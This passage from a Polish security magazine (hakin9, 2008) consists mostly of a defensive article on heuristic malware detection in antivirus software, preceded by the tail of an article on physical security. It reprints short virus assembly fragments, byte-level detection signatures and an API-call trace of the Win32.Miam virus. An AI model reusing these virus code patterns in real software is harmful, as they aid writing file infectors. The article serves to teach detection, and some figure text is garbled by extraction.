i  daje  realne  korzyści.  Administrator 

może być bowiem w czasie gotowości 
do pracy, a nie w pracy (patrz Kodeks 
Pracy).  Dodatkowo,  jeżeli  masz  ma-
ły  zespół  fachowców,  głupio  będzie 
się tłumaczyć klientom, że serwer nie 
działa, ponieważ administrator jedzie 
z drugiego końca miasta, aby coś zre-
startować. W związku z tym warto za-
wczasu  zaopatrzyć  się  przynajmniej 
w  urządzenie  Remote  Reset,  które 
pozwoli  na  wykonanie  operacji  zdal-
nego  restartu  maszyny  (gdy  to  jest 
naprawdę  koniecznie).  KVM  pozwoli 
zaś na dostęp do konsoli i pracę np. 
w trybie awaryjnym przed ponownym 
wystartowaniem systemu.

Podsumowanie

Artykuł  został  oparty  na  wytycz-
nych  przedstawionych  w  normie 
PN-ISO/IEC  17799:2003  Technika 
informatyczna.  Praktyczne  zasady 
zarządzania  bezpieczeństwem  in-
formacji. 

Zachęcam  do  zapoznania  się 

z normą wydaną przez Polski Komi-
tet Normalizacyjny i samodzielnego 
opracowania  polityki  bezpieczeń-
stwa  uwzględniającej  warunki  za-
pewnienia  bezpieczeństwa  fizycz-
nego  i  środowiskowego.  W  każdej 
chwili  można  skorzystać  również 
z  usług  firm  specjalizujących  się 
w  zarządzaniu  bezpieczeństwem 
informacji. l

O autorze

Pasją  autora  są  nowe  technologie 
i języki programowania. 
Kontakt z autorem: 
spinacz24@gmail.com

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 01/2008

58

Obrona

J

est to obecnie najpopularniejsza metoda 
detekcji, choć ma istotną wadę, mianowi-
cie jest metodą reakcyjną. Ponieważ In-

ternet  umożliwia  błyskawiczne  rozprzestrze-
nianie się niebezpieczeństwa, jest ona często 
niewystarczająca.

Metoda oparta na wzorcach zagrożeń cha-

rakteryzuje  się  niebezpieczną  luką  w  czasie 
pomiędzy  pojawieniem  się  zagrożenia  a  udo-
stępnieniem  wzorca  je  wykrywającego.  Wzo-
rzec  jest  przygotowywany  przez  specjalistów 
z firm antywirusowych, którzy muszą otrzymać 
nową  próbkę,  następnie  przeanalizować  ją
i przygotować sygnaturę, która będzie zagroże-
nie w sposób jednoznaczny identyfikować, nie 
powodując przy tym fałszywych alarmów (Ry-
sunek 1.). Alternatywą dla ręcznego wybierania 
wzorców jest wykorzystanie automatycznie ge-
nerowanych sum kontrolnych, ale są one wraż-
liwe  nawet  na  drobne  modyfikacje  i  stosowa-
nie ich szybko prowadzi do nadmiernego roz-
rostu baz.

Rozwiązaniem  tego  problemu  są  zdoby-

wające  coraz  większą  popularność  mechani-
zmy  prewencyjne  oparte  na  klasyfikacji  heu-
rystycznej. Heurystyka (gr. heurisko – znaleźć
to  umiejętność  odkrywania  nowych  faktów 

i związków pomiędzy faktami poprzez umiejęt-
ne postawienie hipotez. Algorytmy heurystycz-
ne na podstawie wiedzy o cechach istniejących 
niebezpieczeństw są w stanie przeanalizować 
skanowany  obiekt  i  stwierdzić,  czy  można  go 
zaklasyfikować jako niebezpieczny.

Uogólnione wzorce

Metody wykrywania nieznanych wirusów by-
ły implementowane w programach antywiru-
sowych  od  początku  ich  istnienia.  Najprost-

Heurystyka w programach 

antywirusowych

Jakub Dębski

stopień trudności

Istnieją dwie główne metody wykrywania złośliwego 

oprogramowania – oparte na wzorcach zagrożeń i na analizie 

heurystycznej. Pierwszy typ zapewnia stuprocentową 

wykrywalność zagrożeń, które są znane, jednak wymaga ciągłej 

aktualizacji baz sygnatur.

Z artykułu dowiesz się

•   czym jest heurystyka w programach antywiruso-

wych,

•   jakie są rodzaje wykorzystywanych heurystyk,
•   przed  jakimi  problemami  stoją  twórcy  heury-

styk.

Co powinieneś wiedzieć

•   powinieneś znać podstawy asemblera,
•   powinieneś  mieć  ogólne  pojęcie  o  budowie 

systemów operacyjnych,

•   powinieneś znać terminologię związaną z nie-

bezpiecznym oprogramowaniem.

background image

Heurystyka w programach antywirusowych

hakin9 Nr 01/2008

www.hakin9.org

59

szą  metodą  rozpoznawania  no-
wych wersji wirusów są uogólnione 
wzorce. Wzorzec (scan-stringpat-
tern
) jest ciągiem bajtów wyekstra-
howanym z wirusa, który w sposób 
jednoznaczny  go  identyfikuje.  Ma-
jąc wzorzec wirusa możemy zasto-
sować jeden z licznych algorytmów 
dopasowujących,  w  celu  znalezie-
nia  go  w  badanym  pliku.  Wzorzec 
musi  spełniać  kilka  wymagań,  aby 
można go było zastosować do iden-
tyfikacji zagrożenia:

•   powinien  być  fragmentem  cha-

rakterystycznym  dla  wirusa  (nie 
może  występować  w  czystych 
plikach),

•   nie może być zbyt krótki (mógłby 

powodować fałszywe alarmy),

•   nie  może  być  zbyt  długi  (dopa-

sowanie  go  byłoby  długotrwałe, 
a zajętość pamięci znaczna przy 
licznej bazie zagrożeń).

Przyjrzyjmy  się  fragmentowi  wirusa 
asemblerowego,  który  spełnia  wy-
magania wzorca (Listing 1).

Powyższy  fragment  jest  cha-

rakterystyczny,  ponieważ  poszu-
kuje  pod  wyliczanym  adresem  sło-
wa  KERN,  co  nie  powinno  wystą-
pić  w  pliku  czystym.  Po  lewej  stro-
nie  znajdują  się  bajty  reprezentu-
jące  instrukcje,  których  ciąg  może 
stanowić  wzorzec  służący  do  wy-
krycia wirusa.

Ponieważ wirus ten uzyskuje do-

stęp  do  własnych  danych  techni-
ką  delta  offset  (tu  względem  reje-

stru ebp), w innych wersjach wirusa, 
po wprowadzeniu do niego niewiel-
kiej zmiany, adresy mogą się zmie-
nić. Aby uogólnić ten wzorzec na in-
ne wersje, możemy zastąpić część 
bajtów  znakiem  zastępczym  odpo-
wiadającym podczas dopasowywa-
nia za dowolny bajt (Listing 2).

W  ostatniej  linii  mamy  skok  wa-

runkowy,  którego  adres  docelowy 
jest  offsetem  względem  aktualnej 
instrukcji. Po dodaniu do wirusa do-
datkowych rozkazów offset ten może 
się zmienić, więc w miejsce tych baj-
tów  możemy  wstawić  znaki  zastęp-
cze lub całkiem je wyciąć, ponieważ 
znajdują  się  na  końcu  scan-stringa
Dzięki  powyższym  zabiegom  scan-
string będzie potrafił wykryć zarów-
no nowe wersje tego wirusa, jak też 
wszystkie  wirusy,  które  zawierają 
opisany wzorzec. Ponieważ autorzy 
niebezpiecznych  programów  często 
wykorzystują  fragmenty  istniejące-
go złośliwego kodu, możliwe jest wy-
branie  wzorca  wychwytującego  zu-
pełnie nowe zagrożenia.

Zbytnie skracanie i uogólnianie 

scan-stringów  może  powodować 
fałszywe  alarmy.  Rozwiązaniem 

tego  problemu  jest  stosowanie  kil-
ku  krótkich  wzorców,  które  mu-
szą znajdować się w badanym pli-
ku,  aby  stwierdzić  obecność  wiru-
sa. Od tego podejścia już tylko krok 
do heurystyki statycznej, czyli naj-
popularniejszej metody heurystycz-
nego wykrywania wirusów.

Heurystyka

Heurystykę  w  programach  antywi-
rusowych można podzielić na kilka 
kategorii  w  zależności  od  sposo-
bu  działania.  Najczęstszym  spoty-
kanym podziałem jest wyszczegól-
nienie  heurystyki  statycznej  i  dy-
namicznej.  Do  metod  heurystycz-
nych  zalicza  się  również  analizę 
behawioralną  oraz  sprawdzanie 
integralności.  Przypatrzmy  się  po-
szczególnym typom i przeanalizuj-
my ich wady i zalety.

Heurystyka statyczna

Heurystyka  statyczna  opiera  się  na 
analizie  obiektu  w  postaci,  w  jakiej 
zostanie  on  przekazany  do  analizy; 
na  traktowaniu  obiektu  jako  ciągu 
bajtów. Analiza taka bazuje na dys-
kryminatorach  zebranych  z  istnieją-
cych  niebezpiecznych  programów, 
czyli na cechach odróżniających nie-
bezpieczne  programy  od  czystych 
plików.  Aby  analizowany  obiekt  zo-
stał uznany za podejrzany, musi za-
wierać określoną liczbę dyskrymina-
torów.  Dyskryminatory  najczęściej 
są  ciągami  bajtów,  ale  mogą  być 
związane  np.  z  nietypowym  wyglą-
dem
 pliku wykonywalnego.

Rozpatrzmy  przykład  wykrywa-

nia typowego, napisanego w asem-
blerze wirusa za pomocą heurysty-
ki statycznej. Typowy wirus infekuje 
plik wykonywalny poprzez dołącze-
nie do niego swojego kodu, następ-
nie przeszukuje dysk w celu znale-

Listing 1. 

Fragment wirusa asemblerowego nadający się na wzorzec

8BBDAA174000  

mov  

edi

,[

ebp

][

004017AA

]

8B7778         

mov   

esi

,

[

edi

][

78

]

03B59E174000  

add  

esi

,[

ebp

][

0040179E

]

8B7E0C        

mov  

edi

,[

esi

][

0C

]

03BD9E174000 

add

     

edi

,

[

ebp

][

0040179E

]

813F4B45524E   

cmp   

d

,

[

edi

]

,

04E52454B 

;"NREK"

0F857C000000   

jne  

.

001013F35  

Rysunek 1. 

Wykrywanie reakcyjne (Reactive) kontra heurystyczne 

(Proactive)

������
��������

������

��������

��������

��������

��������

��������
��������

������������
���������������

���������
�������

����������������
�����������

�����������������������

�������������������

�������������������

�������������������

�������������������

background image

hakin9 Nr 01/2008

www.hakin9.org

Obrona

60

zienia  innych  plików  podatnych  na 
infekcję.  Aby  wykryć  wirusa  przy 
użyciu  heurystyki  statycznej,  musi-
my zgromadzić kolekcję mikrowzor-
ców,  których  występowanie  będzie 
świadczyło  o  podejrzanym  dzia-
łaniu.  Stworzenie  użytecznej  ba-
zy  mikrowzorców  wymaga  wiedzy 
na temat zasady działania wirusów 
i technik w nich stosowanych.

Mikrowzorcem  może  być  przy-

kładowo  pobranie  offsetu  delta
które  można  znaleźć  w  większo-
ści wirusów plikowych. Offset delta 
pobierany jest przez wirusa w celu 
ustalenia adresu początku samego 
siebie.  Jest  on  wirusowi  potrzeb-
ny, jeżeli chce w prosty sposób ko-
rzystać z danych, które są zawarte 
w obszarze wirusa. Popularną me-
todą ustalenia offsetu delta jest se-
kwencja rozkazów:

E800000000   call     $+5
5D           pop      ebp
ED           sub      ebp, ????????

co  przekłada  się  na  mikrowzorzec 

E8000000005DED

.

Występowanie tego mikrowzorca 

może sugerować, że ciąg bajtów jest 
kodem, który został dopisany do pli-
ku  wykonywalnego.  Innym  przykła-
dem  mikrowzorca  może  być  spraw-
dzanie formatu pliku PE32 przed in-
fekcją  lub  podczas  poszukiwania 
w  pamięci  adresów  funkcji  API,  za 
pomocą  porównań  z  charaktery-
stycznymi  oznaczeniami  MZ  i  PE

Jego  adres  znajduje  się  pod  offse-
tem 3C względem MZ (Listing 3).

W tym przykładzie za uogólniony 

scan-string może służyć ciąg bajtów 

4D5A75*8B*3C*504575,

  gdzie  *  to  1-10 

dowolnych  znaków.  Innymi  mikrow-
zorcami infektorów plików mogą być 
nazwy  funkcji  API  pojawiające  się 
nie  w  sekcji  importów,  teksty  *.exe
*.*”, będące specyfikacją dla wyszu-
kiwania plików do zarażenia lub war-
tości  CRC32  policzone  z  nazw  API 
(wiele  wirusów,  szczególnie  wzoro-
wanych  na  napisanych  przez  grupę 
29A, korzystało z procedury wyszu-
kiwania  adresów  API  bazującej  na 
sumie kontrolnej nazwy).

W  przypadku  złośliwych  progra-

mów pisanych w językach wysokie-
go  poziomu  podejrzane  może  być 
występowanie  tekstów  określają-
cych klucze rejestru odpowiedzialne 
za autostart aplikacji w systemie (np. 
SOFTWARE\Microsoft\Windows\
CurrentVersion\Run
), fragmenty, z któ-
rych  składane  są  maile  (np.  MA-
IL  FROM:
)  czy  adresy  blokowanych 
stron  WWW  (np.  windowsupda-
te.microsoft.com
). Wykrywanie heu-

rystyczne  niebezpiecznego  opro-
gramowania  tworzonego  w  języ-
kach wysokiego poziomu jest jednak 
znacznie bardziej skomplikowane niż 
wykrycie kodu asemblerowego. 

W  celu  zwiększenia  jakości  kla-

syfikacji  przy  użyciu  heurystyki  sta-
tycznej  można  połączyć  mikrow-
zorce  z  nietypowym  wyglądem  pli-
ku  spowodowanym  modyfikacjami 
przeprowadzonymi  podczas  infek-
cji. Przykładowo za nietypowe moż-
na uznać sytuacje, gdy:

•   punkt wejścia do programu (Entry-

Point)  wskazuje  na  ostatnią  sek-
cję, która nie jest sekcją kodu (wi-
rus dopisał się do ostatniej sekcji),

•   entryPoint wskazuje na wnętrze 

nagłówka pliku PE (małe wirusy 
platform Win9x umieszczały się 
w nagłówku pliku),

•   sekcja kodu posiada oprócz atry-

butu wykonywalne, także odczyt 
i zapis (częste w przypadku wi-
rusów polimorficznych),

•   sekcja relokacji lub sekcja zasobów 

jest większa, niż być powinna.

Utrudnieniem  techniki  wykrywania 
wirusów  według  nietypowego  wy-
glądu  stały  się  popularne  ostatnio 
kompresory  (np.  UPX)  i  protekto-
ry  (np.  Asprotect)  plików  wykony-
walnych,  które  wprowadzają  typo-
we  dla  wirusów  modyfikacje.  Moż-
liwe  jest  zidentyfikowanie  protekto-
ra i zignorowanie go przy tego typu 
detekcji,  ale  –  szczególnie  w  przy-
padku protektorów o otwartych źró-
dłach – protektory są często mody-
fikowane i zidentyfikowanie wszyst-
kich ich wersji jest kłopotliwe. Z dru-
giej strony samo występowanie za-
bezpieczenia w pliku stanowi pierw-
szą oznakę, że autor programu ma 
coś do ukrycia i jest to podejrzane.

Listing 2. 

Istotne informacje z fragmentu wirusa asemblerowego

8BBD????????

     

mov        

edi

,[

ebp

][

????????

]

8B7778           

mov        

esi

,[

edi

][

78

]

03B5????????

     

add        

esi

,[

ebp

][

????????

]

8B7E0C 

          

mov        

edi

,[

esi

][

0C

]

03BD????????

     

add        

edi

,[

ebp

][

????????

]

813F4B45524E

     

cmp        

d

,[

edi

],

04E52454B 

;"NREK"

0F85             

jne        

????????  

Rysunek 2. 

Epidemia robaka Bagle.AS. (Źródło: www.virus-radar.com)

���

���

���

���

���

���

���

���

���

����

������

����

����

����

����

����

����

����

����

����

�����

�����

�����

�����

�����

��

���

��

���

��

���

��

���

��

���

�����

�������������������

background image

Heurystyka w programach antywirusowych

hakin9 Nr 01/2008

www.hakin9.org

61

Zaletą  heurystyki  statycznej  jest 

duża szybkość działania – tym więk-
sza, że analizowane obszary zwykle 
nie są duże i można w całości wczy-
tać je do pamięci. Jej wadą jest ogra-
niczone  pole  analizy  umożliwiają-
ce  wykrycie  jedynie  tych  zagrożeń, 
które  posiadają  często  występujące 
cechy. Heurystyka taka potrafi prze-
analizować jedynie kod, który nie jest 
zaszyfrowany, ale po uzyskaniu po-
staci zdeszyfrowanej (np. za pomo-
cą emulacji) można ją przekazać po-
nownie  do  skanowania  przy  użyciu 
heurystyki statycznej.

Po  znalezieniu  w  analizowa-

nym  obiekcie  wystarczającej  licz-
by charakterystycznych cech może-
my stwierdzić, że obiekt jest niebez-
pieczny. Heurystyka statyczna dla in-
nych rodzajów wirusów, na przykład 
skryptowych lub makrowirusów, two-
rzona jest w sposób analogiczny.

Heurystyka dynamiczna

Heurystyką  dynamiczną  nazywa 
się  analizę  przeprowadzaną  pod-
czas  działania  podejrzanego  pro-
gramu,  dzięki  czemu  możliwe  jest 
poznanie  zachowania  obiektu  lub 
uzyskanie  postaci  obiektu  dającej 
więcej informacji. Zwykle taką ana-
lizę przeprowadza się podczas uru-
chomienia  podejrzanego  progra-
mu  w  środowisku  bezpiecznym, 
za  pomocą  emulatora  procesora 
i  systemu  operacyjnego.  Środowi-

sko  takie  nazywane  jest  piaskow-
nicą  (ang.  sandbox).  Program 
w niej uruchomiony – niczym dziec-
ko znajdujące się w piaskownicy – 
nie może popsuć niczego, co znaj-
duje się poza nią, a jego działania 
można  obserwować  i  analizować. 
Do  heurystyki  dynamicznej  można 
zaliczyć  również  analizę  behawio-
ralną  przeprowadzaną  na  działa-
jącym systemie, o której więcej bę-
dzie w dalszej części tekstu.

Emulatory  w  programach  anty-

wirusowych  początkowo  tworzone 
były  w  celu  odszyfrowania  części 
zaszyfrowanej  wirusów  polimor-
ficznych.  Wykonywały  polimorficz-
ny kod wirusa do czasu, aż zakoń-
czył on deszyfrację, co najczęściej 
wiązało  się  z  wywołaniem  funkcji 
systemowej.  Następnie  rozszerzo-
no ich funkcjonalność o możliwość 
analizy behawioralnej, więc wywo-
łanie funkcji systemowej nie kończy 

działania,  ale  jest  również  emulo-
wane zgodnie z zachowaniem rze-
czywistego systemu operacyjnego. 
Wykonując  program  w  bezpiecz-
nym  środowisku  można  spraw-
dzić, jakie akcje próbuje on podjąć 
i stwierdzić w ten sposób, czy sta-
nowi potencjalne zagrożenie.

Innymi  podejrzanymi  zachowa-

niami, które może wykryć heurysty-
ka dynamiczna, są na przykład: li-
niowa modyfikacja obszaru pamię-
ci, a potem skok w zmodyfikowany 
obszar (deszyfracja, często stoso-
wana w wirusach polimorficznych), 
wykonywanie  pustych  pętli,  któ-
re  nie  modyfikują  stanu  rejestrów 
procesora  ani  pamięci  (sztucz-
ka  utrudniająca  analizę  programu 
i spowalniająca emulację), czy wy-
konywanie  kodu  w  obszarze  sto-
su.  Wszystkie  te  cechy  świadczą 
o tym, że wykonywany program nie 
jest programem normalnym.

Wśród  twórców  wirusów  istnie-

je  przekonanie,  że  skomplikowanie 
kodu  polimorficznego  utrudnia  zna-
lezienie wirusa w pliku. Nic bardziej 
mylnego.  Sam  kod  polimorficzny
i metamorficzny jest relatywnie pro-
sty  do  wykrycia,  gdyż  jest  całkowi-
cie różny od kodu wygenerowanego 
przez  kompilator,  a  nawet  od  kodu 
asemblerowego  stworzonego  przez 
człowieka. Generatory polimorficzne 
tworzą  znaczną  liczbę  instrukcji  lub 
zestawów instrukcji nic nierobiących, 
tzw. śmieci. Kod ten, całkowicie nie-
zoptymalizowany, daje się za pomo-
cą  mniej  lub  bardziej  skomplikowa-
nych metod zidentyfikować i potrak-
tować  jako  podejrzane  zachowanie. 
Ponieważ protektory plików wykony-
walnych  również  zawierają  polimor-

Listing 3. 

Fragment wirusa infekującego pliki. Sprawdzenie nagłówka 

pliku

66813A4D5A

     

cmp      

w

,[

edx

],

05A4D 

;"ZM"

75F8           

jne      

.

00040106E

8BCA           

mov       

ecx

,

edx

8B493C         

mov       

ecx

,[

ecx

][

3C

]

03CA           

add       

ecx

,

edx

3BC8           

cmp       

ecx

,

eax

7FED           

jg        

.

00040106E

6681395045

     

cmp       

w

,[

ecx

],

04550

 

;"EP"

75E6

           

jne       

.

00040106E

Rysunek 3. 

Fragmenty dwóch wersji robaka Agobot

background image

hakin9 Nr 01/2008

www.hakin9.org

Obrona

62

ficzne deszyfratory, ich nowe wersje 
mogą  być  fałszywie  identyfikowane 
powyższymi metodami. 

Stosowanie  emulacji  w  proce-

sie analizy ma kilka istotnych minu-
sów.  Główną  wadą  jest  relatywnie 
niewielka szybkość działania same-
go  emulatora,  a  dodatkowe  spraw-
dzenia  wykonywane  podczas  ana-
lizy  heurystycznej  jeszcze  emula-
cję  spowalniają.  Duże  znaczenie 
dla szybkości działania ma też pro-
blem stopu, czyli stwierdzenie, kie-
dy emulacja powinna się zakończyć. 
Choć  powstało  wiele  metod  przy-
spieszających działanie emulatorów 
i  wciąż  powstają  nowe  (np.  wyko-
rzystanie  wirtualizacji  procesorów), 
istnieje  kilka  barier  nie  do  pokona-
nia. Najtrudniejszą z nich jest niede-
terministyczność  wykonywania  ko-
du.  Dla  niebezpiecznego  programu 
nie  jest  problemem,  jeżeli  zadziała 
raz na kilka uruchomień. Może być 
to spowodowane wywołaniem funk-
cji  zwracającej  losową  wartość  lub 
warunkami logicznymi, które środo-
wisko  musi  spełnić.  Emulator  dzia-
łający  w  sposób  deterministyczny 
nie jest w stanie obsłużyć tych sytu-
acji, ponieważ emulacja podąża jed-
ną ścieżką, nie badając wszystkich 
możliwych rozgałęzień kodu. Zatem 
emulator  może  pójść  ścieżką,  któ-
ra kończy działanie niebezpieczne-
go  programu,  przez  co  nie  będzie 
można stwierdzić podejrzanego za-
chowania. Autorzy niebezpiecznego 
oprogramowania starają się również 

wykrywać  uruchomienie  w  sztucz-
nym
 środowisku i reagować na nie, 
ukrywając  swoją  obecność.  Innym 
przykładem  niedeterministyczności 
może  być  odmienne  działanie  pro-
gramu w różnych wersjach systemu 
operacyjnego. Przed twórcą emula-
tora pozostaje problem wyboru, któ-
rą wersję emulować.

Analiza behawioralna

Każdy  proces  działający  w  trybie 
użytkownika  musi  komunikować  się 
z systemem operacyjnym za pomo-
cą  udostępnionego  interfejsu  API. 
W trybie tym pracują wszystkie stan-
dardowe aplikacje, w tym większość 
niebezpiecznych  programów,  po-
nieważ nie muszą do działania uzy-
skiwać  nadzwyczajnych  uprawnień 
w  systemie.  Monitorując  wywoła-
nia  funkcji  systemowych  jesteśmy 
w stanie uzyskać dokładne informa-
cje na temat zachowania analizowa-
nego programu. Monitorowanie mo-
że odbywać się albo podczas emu-
lacji w środowisku bezpiecznym, al-
bo w działającym systemie. Monito-
rowanie  działającego  systemu,  mi-
mo jego spowolnienia, zyskuje coraz 
większą popularność, ponieważ jest 
w stanie wykryć zagrożenia, którym 
emulacja nie jest w stanie sprostać. 

Zaletą analizy behawioralnej jest 

przeniesienie klasyfikacji na znacz-
nie  wyższy  poziom  abstrakcji.  Nie 
operujemy w tym przypadku na po-
jedynczych  instrukcjach  kodu  ma-
szynowego, ale w domenie opisanej 

przez  zachowania.  Unikamy  w  ten 
sposób  problemów  wynikających 
z różnic w kodzie, które szczególnie 
widoczne  są  w  przypadku  progra-
mów  wygenerowanych  przez  kom-
pilatory  języków  wysokiego  pozio-
mu (Rysunek 3). Co więcej, zmiany 
wprowadzane w kolejnych wersjach 
niebezpiecznego  oprogramowania 
zwykle  w  niewielki  sposób  zmie-
niają  jego  zachowanie,  gdyż  auto-
rzy  zwiększają,  co  najwyżej,  funk-
cjonalność programu.

Przykładowo, wykorzystując emu-

lator możemy stwierdzić, że program 
wykonuje podejrzaną sekwencję wy-
wołań  systemowych  i  określić  obiekt 
jako  nowego  wirusa  lub  jako  odmia-
nę  istniejącego.  Większość  wirusów 
działających pod Windows na począt-
ku działania pobiera z systemu adresy 
funkcji,  które  będą  wykorzystywane. 
Zakładając, że adres 0x77e60000 jest 
adresem  biblioteki  KERNEL32.DLL 
w  pamięci  procesu,  pobieranie  listy 
wygląda  następująco  (wynik  progra-
mu TraceApi na wirusie Win32.Miam). 
Patrz Listing 4.

Pobranie  adresów  wykorzysty-

wanych  funkcji  API  jest  dla  wirusa 
niezbędne  w  sytuacji,  gdy  chce  on 
skorzystać  z  funkcji  systemowych, 
które  nie  znajdują  się  w  Import  Ad-
dress
 Table infekowanego pliku. Se-
kwencje  takie  można  znaleźć  w  wi-
rusach  asemblerowych  i  takie  za-
chowanie świadczy o działaniu dołą-
czonego do programu wirusa. 

Oczywiście  heurystyczna  klasy-

fikacja behawioralna może dotyczyć 
wszystkich czynności, które wykonu-
je analizowany program, a które mo-
gą  być  niebezpieczne.  Najczęściej 
monitorowanie  behawioralne  doty-
czy  typowych  działań  niebezpiecz-
nych programów, jakimi są:

•   modyfikacja  plików  wykonywal-

nych,

•   pobieranie i uruchamianie plików 

z Internetu,

•   wysyłanie listów za pomocą wła-

snego silnika SMTP,

•   modyfikacja rejestru,
•   modyfikacja plików systemowych,
•   zabijanie  procesów  (np.  progra-

mów antywirusowych),

Listing 4. 

Początek logu programu TraceApi na wirusie Win32.Miam

GetProcAddress

(

77e60000

,

GetModuleHandleA

)

GetProcAddress

(

77e60000

,

GetCurrentDirectoryA

)

GetProcAddress

(

77e60000

,

FindFirstFileA

)

GetProcAddress

(

77e60000

,

FindNextFileA

)

GetProcAddress

(

77e60000

,

CreateFileA

)

GetProcAddress

(

77e60000

,

GetFileSize

)

GetProcAddress

(

77e60000

,

LocalAlloc

)

GetProcAddress

(

77e60000

,

ReadFile

)

GetProcAddress

(

77e60000

,

SetFilePointer

)

GetProcAddress

(

77e60000

,

WriteFile

)

GetProcAddress

(

77e60000

,

CloseHandle

)

GetProcAddress

(

77e60000

,

LocalFree

)

GetProcAddress

(

77e60000

,

GetLocalTime

)

GetProcAddress

(

77e60000

,

SetCurrentDirectoryA

)

GetProcAddress

(

77e60000

,

GetWindowsDirectoryA

)

GetProcAddress

(

77e60000

,

GetSystemDirectoryA

)

GetModuleHandleA

(

User32

.

dll

)

background image

Heurystyka w programach antywirusowych

hakin9 Nr 01/2008

www.hakin9.org

63

•   modyfikacja innych procesów,
•   szpiegowanie klawiatury,
•   nasłuchiwanie na otwartych por-

tach,

•   praca programu bez widocznego 

okna.

Problemem  dla  monitorów  beha-
wioralnych mogą być aplikacje wie-
lowątkowe,  ponieważ  monitor  mu-
si  skupić  się  albo  na  czynnościach 
wykonywanych  globalnie  przez  ca-
łą  aplikację,  albo  na  czynnościach 
wykonywanych  przez  poszczegól-
ne  wątki.  Większość  współcześnie 
tworzonego niebezpiecznego opro-
gramowania  działa  jednak  w  jed-
nym wątku.

Monitory behawioralne posiadają 

zwykle rozbudowywaną bazę fałszy-
wych  alarmów,  gdyż  niebezpieczne 
programy  pisane  w  językach  wyso-
kiego  poziomu  charakteryzują  się 
pod względem zachowania wysokim 
podobieństwem do plików czystych. 
Przykładowo  moduły  autoaktualiza-
cji programów są pod względem za-
chowania bardzo podobne do popu-
larnych downloaderów.

Oprócz przeprowadzania skom-

plikowanej  analizy  zachowań,  blo-
kowane  mogą  być  wszystkie  po-
tencjalnie niebezpieczne akcje, ta-
kie  jak  wstrzykiwanie  kodu  do  in-
nych  procesów  i  tworzenie  w  nich 
zdalnych  wątków  czy  automatycz-
ne  uruchamianie  makr  MS  Office. 
Co więcej, niektóre programy anty-
wirusowe blokują wykonanie przez 
użytkownika  wszystkich  skryptów 
(.vbs,  .bat,  .cmd),  traktując  je  jako 
potencjalnie niebezpieczne.

Również monitorowanie dostępu 

do rejestru staje się elementem pro-
gramów  antywirusowych.  Wymaga 
jednak interaktywnego stwierdzenia, 
czy dana modyfikacja była zamierzo-
na, czy nie, co jest kłopotliwe dla nie-
doświadczonego użytkownika.

Sprawdzanie 

integralności

Najprostszym  podejściem  do  heu-
rystycznego  wykrywania  obecno-
ści  niebezpiecznego  oprogramo-
wania  jest  zbadanie,  czy  określo-
ne  obszary  systemu  (pliki,  rejestr) 

nie  ulegają  zmianie.  Jeszcze  kilka 
lat  temu  nie  było  problemem  mo-
nitorowanie  zmian  w  plikach  po-
przez  sprawdzenie  zapamiętanej 
poprawnej  sumy  kontrolnej.  Wraz 
z  upowszechnieniem  Internetu 
wzrosła  liczba  aplikacji,  które  au-
tomatycznie aktualizują się do naj-
nowszych  wersji,  modyfikując  nie 
tylko pliki danych, ale też pliki wy-
konywalne. Także sam system ope-
racyjny nie jest stały, ale modyfiko-
wany  za  pomocą  ukazujących  się 
mniej  lub  bardziej  regularnie  łat. 
Uwzględniając  fakt,  że  baza  sum 
kontrolnych może również stać się 
celem ataku, monitorowanie zmian 
na podstawie sum kontrolnych jest 
coraz rzadziej stosowane.

Sprawdzanie integralności dzia-

ła jednak w przypadku heurystycz-
nego  wykrywania  rootkitów,  jak 
czyni  to  System  Virginity  Verifier
Analizuje  on  zmiany  wprowadzone 
w  pamięci  modułów  systemowych 
i  porównuje  je  z  poprawnymi  war-
tościami  odczytanymi  z  plików 
(najlepiej  podpisanych  cyfrowo). 
Jeżeli  integralność  modułów  zo-
stanie naruszona, prawdopodobne 
jest  działanie  rootkita,  który  zmo-
dyfikował  system  w  celu  ukrycia 
w nim obiektów.

Integralność  plików  możemy 

sprawdzić dzięki istnieniu coraz czę-
ściej  stosowanych  podpisów  cyfro-
wych.  Niektóre  programy  antywiru-
sowe  nie  potrafią  przebić  się  przez 
warstwy zabezpieczające plików wy-
konywalnych  i  wszystkie  takie  pli-
ki  zgłaszają  jako  podejrzane.  Jeżeli 
jesteśmy twórcami oprogramowania 
i  chcemy  zabezpieczyć  program, 
jednocześnie  nie  przyprawiając 
użytkowników  o  palpitacje  serca  na 
skutek  fałszywego  alarmu,  program 
taki powinniśmy podpisać. Firmy an-
tywirusowe  będą  dzięki  temu  mo-
gły zidentyfikować twórcę programu 
i nie zgłaszać użytkownikowi zabez-
pieczenia jako podejrzanego.

Sprawdzanie  integralności  sta-

ło się jednym z podstawowych me-
chanizmów bezpieczeństwa w sys-
temie  Windows  Vista.  Wspomnia-
ny  mechanizm  Kernel  Patch  Pro-
tection
  sprawdza,  czy  nie  zostały 
wprowadzone w systemie nielegal-
ne zmiany:

•   modyfikowanie tablicy usług syste-

mowych (systfem service tables),

•   modyfikowanie tablicy przerwań 

(IDT),

•   modyfikowanie tablicy globalnych 

deskryptorów (GDT),

Rysunek 4. 

Wizualizacja robaków InTheWild według podobieństwa 

behawioralnego. Widzimy duże skupienia określające rodziny

background image

hakin9 Nr 01/2008

www.hakin9.org

Obrona

64

•   używanie w jądrze stosu, który nie 

został przydzielony przez jądro,

•   łatanie dowolnej części jądra.

Sprawą  dyskusyjną  jest,  czy  me-
chanizm  ten  rzeczywiście  zwięk-
sza bezpieczeństwo systemu. Mo-
dyfikowanie  systemu  operacyjne-
go było od dawna stosowane przez 
programy  zabezpieczające,  dzięki 
czemu mogły one wykonać dodat-
kowe sprawdzenia, które uniemoż-
liwiał  sam  system.  Przykładowo 
działający  w  czasie  rzeczywistym 
system  analizy  zachowań  musi 
zintegrować  się  z  systemem,  być 
bliżej  systemu  niż  niebezpieczne 
oprogramowanie, aby mógł je kon-
trolować.  Istnienie  Kernel  Patch 
Protection  uniemożliwia  taką  in-
tegrację.  Chociaż  mechanizm  ten 
zabezpieczy system przed niektó-
rymi rootkitami, ich twórcy i tak są 
w stanie go ominąć, wykorzystując 
nielegalne sztuczki. Sztuczek tych 
nie mogą jednak stosować produ-
cenci programów antywirusowych, 
dzięki czemu złośliwe oprogramo-
wanie  uzyskuje  nad  zabezpiecza-
jącym  przewagę.  Redukując  moż-
liwości  analizy  behawioralnej  Mi-
crosoft zmniejszył siłę heurystycz-
nej  detekcji  najpopularniejszych 
zagrożeń, czyli działających w try-
bie użytkownika.

Wykrywanie anomalii

Kiedy mówimy o heurystycznej de-
tekcji niebezpiecznego oprogramo-
wania, możemy wyróżnić dwa typy 
